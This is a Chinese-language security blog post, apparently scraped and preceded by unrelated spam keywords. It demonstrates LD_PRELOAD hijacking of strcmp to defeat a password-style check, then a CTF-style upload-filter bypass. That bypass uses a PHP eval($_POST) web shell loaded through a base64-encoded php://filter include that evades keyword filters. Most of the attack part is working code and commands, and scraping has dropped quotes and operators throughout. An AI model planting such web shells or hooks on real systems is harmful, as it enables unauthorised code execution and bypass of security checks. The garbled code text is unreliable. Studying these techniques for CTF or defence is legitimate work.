网站商务通弹出窗口图片更换设置,建设银行网站背景,网络营销方案步骤,专业的led网站建设LD_PRELOAD
LD_PRELOAD是Linux/Unix系统的一个环境变量#xff0c;它可以影响程序的运行时的链接#xff0c;它允许在程序运行前定义优先加载的动态链接库。通过这个环境变量#xff0c;可以在主程序和其动态链接库的中间加载别的动态链接库#xff0c;甚至覆盖系统的函数…LD_PRELOAD
LD_PRELOAD是Linux/Unix系统的一个环境变量它可以影响程序的运行时的链接它允许在程序运行前定义优先加载的动态链接库。通过这个环境变量可以在主程序和其动态链接库的中间加载别的动态链接库甚至覆盖系统的函数库。
LD_PRELOAD 超脱于动态链接库的搜索路径先后顺序之外它可以指定在程序运行前优先加载的动态链接库。
具体的操作步骤如下
定义一个函数函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。将所写的 c 文件编译为动态链接库。对 LD_PRELOAD 及逆行设置值为库文件路径接下来就可以实现对目标函数原功能的劫持了结束攻击使用命令 unset LD_PRELOAD 即可
whoami.c
#include stdio.h
#include string.hint main(int argc, char **argv) {char name[] mon;if (argc 2) {printf(usage: %s given-name\n, argv[0]);return 0;}if (!strcmp(name, argv[1])) {printf(\033[0;32;32mYour name Correct!\n\033[m);return 1;} else {printf(\033[0;32;31mYour name Wrong!\n\033[m);return 0;}
}接下来写一个动态链接库目标函数为这里进行判断的 strcmp 函数
hook_strcmp.c
#include stdlib.h
#include string.h
int strcmp(const char *s1, const char *s2) {if (getenv(LD_PRELOAD) NULL) {return 0;}unsetenv(LD_PRELOAD);return 0;
}
由于我们通过 LD_PRELOAD 劫持了函数劫持后启动了一个新进程若不在新进程启动前取消 LD_PRELOAD则将陷入无限循环所以必须得删除环境变量 LD_PRELOAD最直接的就是调用 unsetenv(LD_PRELOAD) 然后进行编译并且通过hook_strcmp.c 生成一个动态链接文件如下代码 rootkunkun-virtual-machine:~# gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so gcc -o whoami whoami.c 测试 rootkunkun-virtual-machine:~# ./whoami aaa You Name Wrong! 我们再加载一下环境变量加载了环境变量后就意味着我们劫持成功了 export LD_PRELOAD$PWD/hook_strcmp.so rootkunkun-virtual-machine:~# ./whoami aaa You Name Correct 绕过过滤 直接写一句话后门 ?php eval($_POST[1]); ? 然后上传成功拿到文件名
但是想要执行反引号被ban了
那就用到php://filter解码一句话后门然后再结合include
php://filter/readconvert.base64-decode/resource可以让后面的内容以php文件执行
include可以让php文件自动执行
那么就可以写成 ?php Includ(php://filter/readconvert.base64-decode/resource5032242ac3f2c4552f7026dd956f4113.php); ? 思路就是利用伪协议让后门可执行然后利用include自动执行
问题1.include被过滤了 php函数不区分大小写所以改成Include即可
问题2.伪协议被过滤了 将php://filter/readconvert.base64-decode/resource5032242ac3f2c4552f7026dd956f4113.php
整个进行base64编码即可
最后payload为 ?php Include(base64_decode(cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPTUwMzIyNDJhYzNmMmM0NTUyZjcwMjZkZDk1NmY0MTEzLnBocA)); ?